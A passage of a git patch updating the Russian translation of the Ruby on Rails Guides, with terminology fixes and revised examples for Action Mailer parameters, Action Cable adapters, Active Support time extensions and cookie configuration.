--- a/source/upgrading_ruby_on_rails.md +++ b/source/upgrading_ruby_on_rails.md @@ -114,7 +114,7 @@ end ### Прерывание цепочек колбэков с помощью `throw(:abort)` -В Rails 4.2 в Active Record и Active Model, когда колбэк 'before' возвращает `false`, вся цепочка цепочка колбэков прерывалась. Другими словами, последующие колбэки 'before' не выполнялись, как и действие, обернутое в колбэки. +В Rails 4.2 в Active Record и Active Model, когда колбэк 'before' возвращает `false`, вся цепочка цепочка колбэков прерывалась. Другими словами, последующие колбэки 'before' не выполнялись, как и экшн, обернутый в колбэки. В Rails 5.0, возврат `false` колбэком Active Record или Active Model не будет иметь этого побочного эффекта прерывания цепочки колбэков. Вместо этого, цепочки колбэков должны быть явно прерваны вызовом `throw(:abort)`. diff --git a/source/working_with_javascript_in_rails.md b/source/working_with_javascript_in_rails.md index 9597ff18..68ddcfc1 100644 --- a/source/working_with_javascript_in_rails.md +++ b/source/working_with_javascript_in_rails.md @@ -197,7 +197,7 @@ $ -> #### `data-method` -Нажатие на гиперссылки всегда приводит к запросу HTTP GET. Однако, если ваше приложение - [RESTful](https://ru.wikipedia.org/wiki/REST), то некоторые ссылки фактически являются действиями, которые изменяют данные на сервере и должны выполняться с не-GET запросами. Этот атрибут позволяет пометить такие ссылки с помощью явного метода, такого как "post", "put" или "delete". +Нажатие на гиперссылки всегда приводит к запросу HTTP GET. Однако, если ваше приложение - [RESTful](https://ru.wikipedia.org/wiki/REST), то некоторые ссылки фактически являются экшнами, которые изменяют данные на сервере и должны выполняться с не-GET запросами. Этот атрибут позволяет пометить такие ссылки с помощью явного метода, такого как "post", "put" или "delete". Суть его работы заключается в том, что после нажатия на ссылку, она создает скрытую форму в документе с атрибутом "action", который соответствует значению "href" ссылки, и методу, соответствующему значению `data-method`, и отправляет эту форму. @@ -207,7 +207,7 @@ NOTE: Поскольку отправка форм с помощью метод Некоторые элементы вашей страницы на самом деле не ссылаются на какой-либо URL, но вам может понадобиться, чтобы они вызывали Ajax. Указание атрибута `data-url` вместе с `data-remote` вызовет Ajax для заданного URL. Вы также можете указать дополнительные параметры через атрибут `data-params`. -Это может быть полезно для того, чтобы вызвать действие над чекбоксами, например: +Это может быть полезно для того, чтобы вызвать экшн над чекбоксами, например: ```html Date: Thu, 26 Oct 2017 19:44:34 +0300 Subject: [PATCH 341/932] Update 26-10-2017 --- source/4_2_release_notes.md | 2 +- source/action_cable_overview.md | 6 +- source/action_controller_overview.md | 14 ++-- source/action_mailer_basics.md | 81 +++++++++++++++--------- source/active_model_basics.md | 2 +- source/active_record_basics.md | 10 +++ source/active_support_core_extensions.md | 78 +++++++++-------------- source/asset_pipeline.md | 18 +++--- source/association_basics.md | 8 +-- source/configuring.md | 8 ++- source/engines.md | 18 +++--- source/form_helpers.md | 18 ++++-- source/getting_started.md | 52 +++++++-------- source/index.yml | 60 +++++++++--------- source/layouts_and_rendering.md | 40 ++++++------ source/plugins.md | 6 +- 16 files changed, 225 insertions(+), 196 deletions(-) diff --git a/source/4_2_release_notes.md b/source/4_2_release_notes.md index 821ce68d..95414654 100644 --- a/source/4_2_release_notes.md +++ b/source/4_2_release_notes.md @@ -129,7 +129,7 @@ remove_foreign_key :accounts, column: :owner_id ### `respond_with` / метод класса `respond_to` -Методы `respond_with` и соответствующий метод класса `respond_to` были перемещены в гем [responders](https://github.com/plataformatec/responders). Добавьте `gem 'responders', '~> 2.0'` в свой Gemfile для использования: +Методы `respond_with` и соответствующий метод класса `respond_to` были перемещены в гем [responders](https://github.com/plataformatec/responders). Добавьте `gem 'responders', '~> 2.0'` в свой `Gemfile` для использования: ```ruby # app/controllers/users_controller.rb diff --git a/source/action_cable_overview.md b/source/action_cable_overview.md index 83be4f65..a1a55bcc 100644 --- a/source/action_cable_overview.md +++ b/source/action_cable_overview.md @@ -461,9 +461,9 @@ production: Асинхронный адаптер предназначен для development/testing сред и не должен использоваться в production. -##### Адаптер redis +##### Адаптер Redis -Action Cable содержит два адаптера Redis: "normal" Redis и Событийный Redis. Оба адаптера требуют от пользователей предоставления URL, указывающего на сервер Redis. Кроме того, может быть предоставлен channel_prefix, чтобы избежать конфликта имен каналов при использовании одного и того же сервера Redis для нескольких приложений. Смотрите [документацию Redis PubSub](https://redis.io/topics/pubsub#database-amp-scoping) для получения дополнительной информации. +Адаптер Redis требует от пользователей предоставления URL, указывающего на сервер Redis. Кроме того, может быть предоставлен `channel_prefix`, чтобы избежать конфликта имен каналов при использовании одного и того же сервера Redis для нескольких приложений. Смотрите [документацию Redis PubSub](https://redis.io/topics/pubsub#database-amp-scoping) для получения дополнительной информации. ##### Адаптер PostgreSQL @@ -549,7 +549,7 @@ bundle exec puma -p 28080 cable/config.ru ## (dependencies) Зависимости -Action Cable предоставляет интерфейс адаптера подписки для обработки его pubsub внутренностей. По умолчанию включены адаптеры асинхронный, встроенный, PostgreSQL, событийный Redis и не событийный Redis. В новых приложениях Rails по умолчанию асинхронный (`async`) адаптер. +Action Cable предоставляет интерфейс адаптера подписки для обработки его pubsub внутренностей. По умолчанию включены адаптеры асинхронный, встроенный, PostgreSQL, и адаптеры Redis. В новых приложениях Rails по умолчанию используется асинхронный (`async`) адаптер. Часть Ruby этих вещей создана на основе [websocket-driver](https://github.com/faye/websocket-driver-ruby), [nio4r](https://github.com/celluloid/nio4r) и [concurrent-ruby](https://github.com/ruby-concurrency/concurrent-ruby). diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index 86a234a8..36c0968c 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -349,7 +349,7 @@ Rails.application.config.session_store :cookie_store, key: '_your_app_session', Rails устанавливает (для CookieStore) секретный ключ, используемый для подписания данных сессии, в `config/credentials.yml.enc`. Он может быть изменен с помощью `bin/rails credentials:edit`. ```ruby -# amazon: +# aws: # access_key_id: 123 # secret_access_key: 345 @@ -586,8 +586,8 @@ class UsersController < ApplicationController @users = User.all respond_to do |format| format.html # index.html.erb - format.xml { render xml: @users} - format.json { render json: @users} + format.xml { render xml: @users } + format.json { render json: @users } end end end @@ -715,9 +715,9 @@ end Если вы генерируете подобную форму: ```erb -<%= form_for @user do |f| %> - <%= f.text_field :username %> - <%= f.text_field :password %> +<%= form_with model: @user, local: true do |form| %> + <%= form.text_field :username %> + <%= form.text_field :password %> <% end %> ``` @@ -1021,7 +1021,7 @@ config.filter_redirect.concat ['s3.amazonaws.com', /private_path/] ### Дефолтные шаблоны 500 и 404 -По умолчанию приложение в среде production будет рендерить или 404, или 500 сообщение об ошибке, в среде development будут вызываться все необрабатываемые исключения. Эти сообщения содержатся в статичных файлах HTML в папке `public`, в `404.html` и `500.html` соответственно. Можно настроить эти файлы, добавив дополнительную информацию и стили, но помните, что они статичные; т.е. нельзя использовать ERB, SCSS, CoffeeScript или макеты для них. +По умолчанию приложение в среде production будет рендерить или 404, или 500 сообщение об ошибке, в среде development будут вызываться все необрабатываемые исключения. Эти сообщения содержатся в статичных файлах HTML в папке public, в `404.html` и `500.html` соответственно. Можно настроить эти файлы, добавив дополнительную информацию и стили, но помните, что они статичные; т.е. нельзя использовать ERB, SCSS, CoffeeScript или макеты для них. ### `rescue_from` diff --git a/source/action_mailer_basics.md b/source/action_mailer_basics.md index ee1e1577..567683dc 100644 --- a/source/action_mailer_basics.md +++ b/source/action_mailer_basics.md @@ -72,8 +72,8 @@ end class UserMailer < ApplicationMailer default from: 'notifications@example.com' - def welcome_email(user) - @user = user + def welcome_email + @user = params[:user] @url = 'http://example.com/login' mail(to: @user.email, subject: 'Welcome to My Awesome Site') end @@ -141,7 +141,7 @@ $ bin/rails generate scaffold user name email login $ bin/rails db:migrate ``` -Теперь, когда у нас есть модель user, с которой мы играем, надо всего лишь отредактировать `app/controllers/users_controller.rb`, чтобы поручить `UserMailer` доставлять email каждому вновь созданному пользователю, изменив экшн `create` и вставив вызов `UserMailer.welcome_email` сразу после того, как пользователь был успешно сохранен. +Теперь, когда у нас есть модель user, с которой мы играем, надо всего лишь отредактировать `app/controllers/users_controller.rb`, чтобы поручить `UserMailer` доставлять email каждому вновь созданному пользователю, изменив экшн `create` и вставив вызов `UserMailer.with(user: @user).welcome_email` сразу после того, как пользователь был успешно сохранен. Action Mailer прекрасно интегрирован с Active Job, поэтому можно отправлять электронную почту вне цикла запрос-ответ, таким образом что пользователю не нужно ждать выполнения отправки: @@ -155,7 +155,7 @@ class UsersController < ApplicationController respond_to do |format| if @user.save # Сказать UserMailer отослать приветственное письмо после сохранения - UserMailer.welcome_email(@user).deliver_later + UserMailer.with(user: @user).welcome_email.deliver_later format.html { redirect_to(@user, notice: 'User was successfully created.') } format.json { render json: @user, status: :created, location: @user } @@ -176,12 +176,14 @@ NOTE: Поведением Active Job по умолчанию является class SendWeeklySummary def run User.find_each do |user| - UserMailer.weekly_summary(user).deliver_now + UserMailer.with(user: user).weekly_summary.deliver_now end end end ``` +Любая пара ключ/значение, переданная в `with`, просто становится `params` для экшна рассыльщика. Поэтому `with(user: @user, account: @user.account)` делает `params[:user]` и `params[:account]` доступными в экшне рассыльщика. Это такой же params, который есть в контроллерах. + Метод `welcome_email` возвращает объект `ActionMailer::MessageDelivery`, которому затем можно сказать `deliver_now` или `deliver_later`, чтобы он сам себя отослал. Объект `ActionMailer::MessageDelivery` — это всего лишь обертка для `Mail::Message`. Если хотите исследовать, изменить или еще что-то сделать с объектом `Mail::Message`, к нему можно получить доступ с помощью метода `message` на объекте `ActionMailer::MessageDelivery`. ### Автоматическое кодирование значений заголовка @@ -259,7 +261,7 @@ Action Mailer 3.0 создает встроенные вложения, кото ```ruby class AdminMailer < ApplicationMailer - default to: Proc.new { Admin.pluck(:email) }, + default to: -> { Admin.pluck(:email) }, from: 'notification@example.com' def new_registration(user) @@ -276,8 +278,8 @@ end Иногда хочется показать имена людей вместо их электронных адресов, при получении ими email. Фокус в том, что формат адреса email следующий `"Full Name" `. ```ruby -def welcome_email(user) - @user = user +def welcome_email + @user = params[:user] email_with_name = %("#{@user.name}" <#{@user.email}>) mail(to: email_with_name, subject: 'Welcome to My Awesome Site') end @@ -293,8 +295,8 @@ end class UserMailer < ApplicationMailer default from: 'notifications@example.com' - def welcome_email(user) - @user = user + def welcome_email + @user = params[:user] @url = 'http://example.com/login' mail(to: @user.email, subject: 'Welcome to My Awesome Site', @@ -312,8 +314,8 @@ end class UserMailer < ApplicationMailer default from: 'notifications@example.com' - def welcome_email(user) - @user = user + def welcome_email + @user = params[:user] @url = 'http://example.com/login' mail(to: @user.email, subject: 'Welcome to My Awesome Site') do |format| @@ -364,8 +366,8 @@ end ```ruby class UserMailer < ApplicationMailer - def welcome_email(user) - mail(to: user.email) do |format| + def welcome_email + mail(to: params[:user].email) do |format| format.html { render layout: 'my_layout' } format.text end @@ -382,7 +384,7 @@ end ```ruby class UserMailerPreview < ActionMailer::Preview def welcome_email - UserMailer.welcome_email(User.first) + UserMailer.with(user: User.first).welcome_email end end ``` @@ -476,12 +478,12 @@ Action Mailer автоматически посылает multipart email, ес ```ruby class UserMailer < ApplicationMailer - def welcome_email(user, company) - @user = user + def welcome_email + @user = params[:user] @url = user_url(http://github.com/@user) - delivery_options = { user_name: company.smtp_user, - password: company.smtp_password, - address: company.smtp_host } + delivery_options = { user_name: params[:company].smtp_user, + password: params[:company].smtp_password, + address: params[:company].smtp_host } mail(to: @user.email, subject: "Please see the Terms and Conditions attached", delivery_method_options: delivery_options) @@ -495,9 +497,9 @@ end ```ruby class UserMailer < ApplicationMailer - def welcome_email(user, email_body) - mail(to: user.email, - body: email_body, + def welcome_email + mail(to: params[:user].email, + body: params[:email_body], content_type: "text/html", subject: "Already rendered!") end @@ -545,23 +547,42 @@ Action Mailer позволяет определить `before_action`, `after_ac * `before_action` можно использовать для заполнения объекта mail значениями по умолчанию, `delivery_method_options` или вставки заголовков по умолчанию и вложений. +```ruby +class InvitationsMailer < ApplicationMailer + before_action { @inviter, @invitee = params[:inviter], params[:invitee] } + before_action { @account = params[:inviter].account } + + default to: -> { @invitee.email_address }, + from: -> { common_address(@inviter) }, + reply_to: -> { @inviter.email_address_with_name } + + def account_invitation + mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})" + end + + def project_invitation + @project = params[:project] + @summarizer = ProjectInvitationSummarizer.new(@project.bucket) + + mail subject: "#{@inviter.name.familiar} added you to a project in Basecamp (#{@account.name})" + end +end +``` + * `after_action` можно использовать для подобной настройки, как и в `before_action`, но используя переменные экземпляра, установленные в экшне рассыльщика. ```ruby class UserMailer < ApplicationMailer + before_action { @business, @user = params[:business], params[:user] } + after_action :set_delivery_options, :prevent_delivery_to_guests, :set_business_headers - def feedback_message(business, user) - @business = business - @user = user - mail + def feedback_message end - def campaign_message(business, user) - @business = business - @user = user + def campaign_message end private diff --git a/source/active_model_basics.md b/source/active_model_basics.md index ecd17a04..7197f1b0 100644 --- a/source/active_model_basics.md +++ b/source/active_model_basics.md @@ -421,7 +421,7 @@ Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s. #### Требования -`ActiveModel::SecurePassword` зависит от [`bcrypt`](https://github.com/codahale/bcrypt-ruby 'BCrypt'), поэтому включите этот гем в свой Gemfile для корректного использования `ActiveModel::SecurePassword`. Чтобы он работал, в модели должен быть акцессор с именем `password_digest`. `has_secure_password` добавит следующие валидации на акцессор `password`: +`ActiveModel::SecurePassword` зависит от [`bcrypt`](https://github.com/codahale/bcrypt-ruby 'BCrypt'), поэтому включите этот гем в свой `Gemfile` для корректного использования `ActiveModel::SecurePassword`. Чтобы он работал, в модели должен быть акцессор с именем `password_digest`. `has_secure_password` добавит следующие валидации на акцессор `password`: 1. Пароль должен существовать. 2. Пароль должен совпадать с подтверждением (проверяется если передан `password_confirmation`). diff --git a/source/active_record_basics.md b/source/active_record_basics.md index 9c18f4ea..04a83058 100644 --- a/source/active_record_basics.md +++ b/source/active_record_basics.md @@ -224,6 +224,16 @@ user = User.find_by(name: 'David') user.destroy ``` +Если необходимо удалить сразу несколько записей, можно использовать метод `destroy_all`: + +```ruby +# найти и удалить всех пользователей с именем David +User.where(name: 'David').destroy_all + +# удалить всех пользователей +User.destroy_all +``` + Валидации --------- diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 3e46f466..8cb65955 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -663,44 +663,6 @@ M.parents # => [X::Y, X, Object] NOTE: Определено в `active_support/core_ext/module/introspection.rb`. -### Reachable - -Именованный модуль является достижимым (reachable), если он хранится в своей соответствующей константе. Это означает, что можно связаться (достичь) с объектом модуля через константу. - -Это означает, что если есть модуль с названием "M", то существует константа `M`, которая указывает на него: - -```ruby -module M -end - -M.reachable? # => true -``` - -Но так как константы и модули в действительности являются разъединенными, объекты модуля могут стать недостижимыми: - -```ruby -module M -end - -orphan = Object.send(:remove_const, :M) - -# Теперь объект модуля это orphan, но у него все еще есть имя. -orphan.name # => "M" - -# Нельзя достичь его через константу M, поскольку она даже не существует. -orphan.reachable? # => false - -# Давайте определим модуль с именем "M" снова. -module M -end - -# Теперь константа M снова существует, и хранит объект -# модуля с именем "M", но это новый экземпляр. -orphan.reachable? # => false -``` - -NOTE: Определено в `active_support/core_ext/module/reachable.rb`. - ### Anonymous У модуля может быть или не быть имени: @@ -734,7 +696,6 @@ end m = Object.send(:remove_const, :M) -m.reachable? # => false m.anonymous? # => false ``` @@ -1770,7 +1731,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. "2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200 ``` -По умолчанию `:utc`. +По умолчанию `:local`. Пожалуйста, обратитесь к документации по `Date._parse` для получения дополнительной информации. @@ -1814,7 +1775,7 @@ NOTE: Определено в `active_support/core_ext/numeric/bytes.rb`. ### Время -Включает возможность вычисления и объявления времени, подобно `45.minutes + 2.hours + 4.years`. +Включает возможность вычисления и объявления времени, подобно `45.minutes + 2.hours + 4.weeks`. Эти методы используют Time#advance для точного вычисления дат с использованием from_now, ago, и т. д., а также для сложения или вычитания их результата из объекта Time. Например: @@ -1822,13 +1783,15 @@ NOTE: Определено в `active_support/core_ext/numeric/bytes.rb`. # эквивалент для Time.current.advance(months: 1) 1.month.from_now -# эквивалент для Time.current.advance(years: 2) -2.years.from_now +# эквивалент для Time.current.advance(weeks: 2) +2.weeks.from_now -# эквивалент для Time.current.advance(months: 4, years: 5) -(4.months + 5.years).from_now +# эквивалент для Time.current.advance(months: 4, weeks: 5) +(4.months + 5.weeks).from_now ``` +WARNING. Для других длительностей, обратитесь, пожалуйста, к временному расширению для `Integer`. + NOTE: Определено в `active_support/core_ext/numeric/time.rb` ### Форматирование @@ -1964,6 +1927,27 @@ NOTE: Определено в `active_support/core_ext/integer/inflections.rb`. NOTE: Определено в `active_support/core_ext/integer/inflections.rb`. +### Время + +Включает возможность вычисления и объявления времени, подобно `4.months + 5.years`. + +Эти методы используют Time#advance для точного вычисления дат с использованием from_now, ago, и т. д., а также для сложения или вычитания их результата из объекта Time. Например: + +```ruby +# эквивалент для Time.current.advance(months: 1) +1.month.from_now + +# эквивалент для Time.current.advance(years: 2) +2.years.from_now + +# эквивалент для Time.current.advance(months: 4, years: 5) +(4.months + 5.years).from_now +``` + +WARNING. Для других длительностей, обратитесь, пожалуйста, к временному расширению для `Numeric`. + +NOTE: Определено в `active_support/core_ext/integer/time.rb`. + Расширения для `BigDecimal` --------------------------- @@ -2794,7 +2778,7 @@ NOTE: Определено в `active_support/core_ext/hash/transform_values.rb` # => {:a=>1} ``` -NOTE. Нарезка может быть полезной для экранизации хэш-опции с помощью белого списка ключей. +NOTE: Нарезка может быть полезной для экранизации хэш-опции с помощью белого списка ключей. Также есть `slice!`, который выполняет нарезку, модифицируя на месте, и возвращает что было убрано: @@ -3631,7 +3615,7 @@ end Для выполнения этого `atomic_write` создает временный файл. Фактически код в блоке пишет в этот файл. При выполнении временный файл переименовывается, что является атомарной операцией в системах POSIX. Если целевой файл существует, `atomic_write` перезаписывает его и сохраняет владельцев и права. Однако в некоторых случаях `atomic_write` не может изменить владельца или права на файл, эта ошибка отлавливается и пропускается, позволяя файловой системе убедиться, что файл доступен для необходимых манипуляций. -NOTE. Благодаря операции chmod, выполняемой `atomic_write`, если у целевого файла установлен ACL, то этот ACL будет пересчитан/изменен. +NOTE: Благодаря операции chmod, выполняемой `atomic_write`, если у целевого файла установлен ACL, то этот ACL будет пересчитан/изменен. WARNING. Отметьте, что с помощью `atomic_write` нельзя дописывать. diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md index 6f4ce542..e250787b 100644 --- a/source/asset_pipeline.md +++ b/source/asset_pipeline.md @@ -22,7 +22,7 @@ Asset Pipeline rails new appname --skip-sprockets ``` -Rails автоматически добавляет гемы `sass-rails`, `coffee-rails` и `uglifier` в ваш Gemfile, которые используются Sprockets для компрессии ассетов: +Rails автоматически добавляет гемы `sass-rails`, `coffee-rails` и `uglifier` в ваш `Gemfile`, которые используются Sprockets для компрессии ассетов: ```ruby gem 'sass-rails' @@ -30,7 +30,7 @@ gem 'uglifier' gem 'coffee-rails' ``` -Использование опции `--skip-sprockets` предотвратит Rails от их добавления в Gemfile, поэтому, если вы позже решите включить файлопровод, будет необходимо добавить эти гемы в Gemfile. Также, создание приложения с опцией `--skip-sprockets` сгенерирует немного иной файл `config/application.rb`, с закомментированным выражением требования sprockets railtie. Необходимо раскомментировать эту строчку, чтобы в дальнейшем включить файлопровод: +Использование опции `--skip-sprockets` предотвратит Rails от их добавления в `Gemfile`, поэтому, если вы позже решите включить файлопровод, будет необходимо добавить эти гемы в Gemfile. Также, создание приложения с опцией `--skip-sprockets` сгенерирует немного иной файл `config/application.rb`, с закомментированным выражением требования sprockets railtie. Необходимо раскомментировать эту строчку, чтобы в дальнейшем включить файлопровод: ```ruby # require "sprockets/railtie" @@ -95,7 +95,7 @@ global-908e25f4bf641868d8683022a5b62f54.css Более подробно: -* [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html) +* [Optimize caching](https://developers.google.com/speed/docs/insights/LeverageBrowserCaching) * [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/) (how-to-use-the-asset-pipeline) Как использовать файлопровод (Asset Pipeline) @@ -109,7 +109,7 @@ global-908e25f4bf641868d8683022a5b62f54.css ### Ассеты конкретного контроллера -При генерации скаффолда или контроллера, Rails также генерирует файл JavaScript (или файл CoffeeScript, если гем `coffee-rails` имеется в `Gemfile`) и файл CSS (или файл SCSS, если `sass-rails` имеется в `Gemfile`) для этого контроллера. Дополнительно при генерации скаффолда, Rails генерирует файл scaffolds.css (или scaffolds.scss, если `sass-rails` находится в `Gemfile`.) +При генерации скаффолда или контроллера, Rails также генерирует файл JavaScript (или файл CoffeeScript, если гем `coffee-rails` имеется в `Gemfile`) и файл CSS (или файл SCSS, если `sass-rails` имеется в `Gemfile`) для этого контроллера. Дополнительно при генерации скаффолда, Rails генерирует файл `scaffolds.css` (или `scaffolds.scss`, если `sass-rails` находится в `Gemfile`.) Например, если генерируете `ProjectsController`, Rails также добавит новый файл `app/assets/javascripts/projects.coffee` и еще один `app/assets/stylesheets/projects.scss`. По умолчанию эти файлы будут готовы к немедленному использованию вашим приложением, с помощью директивы `require_tree`. Смотрите [Файлы манифеста и директивы](#manifest-files-and-directives) о подробностях `require_tree`. @@ -119,7 +119,7 @@ global-908e25f4bf641868d8683022a5b62f54.css При этом убедитесь, что не используете директиву `require_tree`, так как она приведет к тому, что ассеты будут включены более одного раза. -WARNING: При использовании прекомпиляции ассетов, необходимо убедиться, что ассеты контроллера будут прекомпилированы при варианте загрузки их на основе страницы. По умолчанию файлы .coffee и .scss не будут прекомпилированы отдельно. Смотрите [Прекомпиляция ассетов](#in-production) о подробностях работы прекомпиляции. +WARNING: При использовании прекомпиляции ассетов, необходимо убедиться, что ассеты контроллера будут прекомпилированы при варианте загрузки их на основе страницы. По умолчанию файлы `.coffee` и `.scss` не будут прекомпилированы отдельно. Смотрите [Прекомпиляция ассетов](#in-production) о подробностях работы прекомпиляции. NOTE: Вам необходим runtime, поддерживаемый ExecJS, чтобы использовать CoffeeScript. Если используете macOS или Windows, у вас уже имеется JavaScript runtime, установленный в операционной системе. Обратитесь к документации по [ExecJS](https://github.com/rails/execjs#readme), чтобы узнать обо всех поддерживаемых JavaScript runtime-ах. @@ -488,7 +488,7 @@ NOTE. Условие отбора (и другие части прекомпил Rails.application.config.assets.precompile += %w( admin.js admin.css ) ``` -NOTE. Всегда определяйте ожидаемое имя скомпилированного файла, оканчивающееся на .js или .css, даже если хотите добавить в массив прекомпиляции файлы Sass или CoffeeScript. +NOTE. Всегда определяйте ожидаемое имя скомпилированного файла, оканчивающееся на `.js` или `.css`, даже если хотите добавить в массив прекомпиляции файлы Sass или CoffeeScript. Задача также генерирует `.sprockets-manifest-md5hash.json` (где `md5hash` - это хэш MD5), который содержит список всех ваших ассетов и соответствующие им метки. Это используется методами хелпера Rails, чтобы избежать направления запроса в Sprockets. Обычный файл манифеста выглядит так: @@ -582,7 +582,7 @@ Sprockets также устанавливает HTTP-заголовок `Cache-C Этот режим использует больше памяти, имеет худшее быстродействие, чем по-умолчанию, и не рекомендуется. -Если приложение размещается в системе без существующего JavaScript runtimes, возможно понадобится добавить в Gemfile следующий фрагмент кода: +Если приложение размещается в системе без существующего JavaScript runtimes, возможно понадобится добавить в `Gemfile` следующий фрагмент кода: ```ruby group :production do @@ -739,7 +739,7 @@ config.assets.css_compressor = :sass Возможные варианты для сжатия JavaScript это `:closure`, `:uglifier` and `:yui`. Они требуют использование гемов `closure-compiler`, `uglifier` или `yui-compressor` соответственно. -Gemfile по умолчанию включает [uglifier](https://github.com/lautis/uglifier). Этот гем оборачивает [UglifierJS](https://github.com/mishoo/UglifyJS) (написанный для NodeJS) в Ruby. Он сжимает ваш код, убирая пробелы и комментарии, сокращая имена локальных переменных и выполняя иные микро-оптимизации, наподобие замены ваших выражений `if` и `else` на тернарные операторы там, где возможно. +`Gemfile` по умолчанию включает [uglifier](https://github.com/lautis/uglifier). Этот гем оборачивает [UglifierJS](https://github.com/mishoo/UglifyJS) (написанный для NodeJS) в Ruby. Он сжимает ваш код, убирая пробелы и комментарии, сокращая имена локальных переменных и выполняя иные микро-оптимизации, наподобие замены ваших выражений `if` и `else` на тернарные операторы там, где возможно. Следующая строчка вызывает `uglifier` для сжатия JavaScript. @@ -835,7 +835,7 @@ end Создание препроцессора в вашей библиотеке или геме -------------------------------------------------- -Sprockets использует Процессоры, Трансформеры, Компрессоры и Экспортеры для расширения функциональности Sprockets. Обратитесь к [Расширение Sprockets](https://github.com/rails/sprockets/blob/master/guides/extending_sprockets.md), чтобы узнать больше об этом. Здесь мы зарегистрировали препроцессор, чтобы добавить комментарий в конец text/css (.css) файлов. +Sprockets использует Процессоры, Трансформеры, Компрессоры и Экспортеры для расширения функциональности Sprockets. Обратитесь к [Расширение Sprockets](https://github.com/rails/sprockets/blob/master/guides/extending_sprockets.md), чтобы узнать больше об этом. Здесь мы зарегистрировали препроцессор, чтобы добавить комментарий в конец text/css (`.css`) файлов. ```ruby module AddComment diff --git a/source/association_basics.md b/source/association_basics.md index a4fec2ca..3de8f736 100644 --- a/source/association_basics.md +++ b/source/association_basics.md @@ -893,7 +893,7 @@ end #### `:autosave` -Если установить опцию `:autosave` в `true`, Rails сохранит любые загруженные члены и уничтожит члены, помеченные для уничтожения, всякий раз, когда вы сохраните родительский объект. +Если установить опцию `:autosave` в `true`, Rails сохранит любые загруженные связанные члены и уничтожит члены, помеченные для уничтожения, всякий раз, когда сохраняется родительский объект. Но установить `:autosave` в `false` - не то же самое, что не устанавливать опцию `:autosave`. Если опция `:autosave` отсутствует, то новые связанные объекты будут сохранены, но обновленные связанные объекты сохранены не будут. #### `:class_name` @@ -1235,7 +1235,7 @@ end #### `:autosave` -Если установить опцию `:autosave` в `true`, это сохранит любые загруженные члены и уничтожит члены, помеченные для уничтожения, всякий раз, когда вы сохраните родительский объект. +Если установить опцию `:autosave` в `true`, Rails сохранит любые загруженные связанные члены и уничтожит члены, помеченные для уничтожения, всякий раз, когда сохраняется родительский объект. Но установить `:autosave` в `false` - не то же самое, что не устанавливать опцию `:autosave`. Если опция `:autosave` отсутствует, то новые связанные объекты будут сохранены, но обновленные связанные объекты сохранены не будут. #### `:class_name` @@ -1623,7 +1623,7 @@ end #### `:autosave` -Если установить опцию `:autosave` в `true`, Rails сохранит любые загруженные члены и уничтожит члены, помеченные для уничтожения, всякий раз, когда вы сохраняете родительский объект. +Если установить опцию `:autosave` в `true`, Rails сохранит любые загруженные связанные члены и уничтожит члены, помеченные для уничтожения, всякий раз, когда сохраняется родительский объект. Но установить `:autosave` в `false` - не то же самое, что не устанавливать опцию `:autosave`. Если опция `:autosave` отсутствует, то новые связанные объекты будут сохранены, но обновленные связанные объекты сохранены не будут. #### `:class_name` @@ -2125,7 +2125,7 @@ end #### `:autosave` -Если установить опцию `:autosave` в `true`, Rails сохранит любые загруженные члены и уничтожит члены, помеченные для уничтожения, всякий раз, когда Вы сохраните родительский объект. +Если установить опцию `:autosave` в `true`, Rails сохранит любые загруженные связанные члены и уничтожит члены, помеченные для уничтожения, всякий раз, когда сохраняется родительский объект. Но установить `:autosave` в `false` - не то же самое, что не устанавливать опцию `:autosave`. Если опция `:autosave` отсутствует, то новые связанные объекты будут сохранены, но обновленные связанные объекты сохранены не будут. #### `:class_name` diff --git a/source/configuring.md b/source/configuring.md index 0d96881e..50844053 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -476,6 +476,12 @@ config.middleware.delete Rack::MethodOverride * `config.action_dispatch.authenticated_encrypted_cookie_salt` устанавливает значение соли для аутентификационных зашифрованных куки. По умолчанию `'authenticated encrypted cookie'`. +* `config.action_dispatch.encrypted_cookie_cipher` устанавливает алгоритм шифрования, который будет использоваться для зашифрованных куки. По умолчанию `"aes-256-gcm"`. + +* `config.action_dispatch.signed_cookie_digest` устанавливает хэш-функцию, которая будет использоваться для подписанных куки. По умолчанию `"SHA1"`. + +* `config.action_dispatch.cookies_rotations` позволяет чередовать секреты, шифры и хэш-функции для зашифрованных и подписанных куки. + * `config.action_dispatch.perform_deep_munge` конфигурирует, должен ли применяться метод `deep_munge` на параметрах. Подробнее смотрите в [Руководстве по безопасности](/ruby-on-rails-security-guide#unsafe-query-generation). По умолчанию `true`. * `config.action_dispatch.rescue_responses` конфигурирует, какие исключения назначаются статусу HTTP. Он принимает хэш и можно указать пары исключение/статус. По умолчанию он определен как: @@ -538,7 +544,7 @@ config.middleware.delete Rack::MethodOverride * `config.action_view.raise_on_missing_translations` определяет, должно ли быть вызвано исключение для отсутствующих переводов. -* `config.action_view.automatically_disable_submit_tag` определяет, должен ли submit_tag автоматически отключаться при клике, это по умолчанию `true`. +* `config.action_view.automatically_disable_submit_tag` определяет, должен ли `submit_tag` автоматически отключаться при клике, это по умолчанию `true`. * `config.action_view.debug_missing_translation` определяет, должны ли ключи отсутствующих переводов оборачиваться в тег ``. Это по умолчанию `true`. diff --git a/source/engines.md b/source/engines.md index 68b45138..05badb7c 100644 --- a/source/engines.md +++ b/source/engines.md @@ -27,7 +27,7 @@ Engine также может быть отделен от содержащих Важно все время помнить, что приложение **всегда** должно иметь приоритет над его engine. Приложение - это объект, имеющий последнее слово в том, что происходит в его среде. Engine должен только улучшать ее, но не изменять радикально. -Для демонстрации других engine, смотрите [Devise](https://github.com/plataformatec/devise), engine, предоставляющий аутентификацию для содержащих его приложений, или [Thredded](https://github.com/thredded/thredded), engine, представляющий функционал форума. Также имеется [Spree](https://github.com/spree/spree), предоставляющий платформу электронной коммерции, и 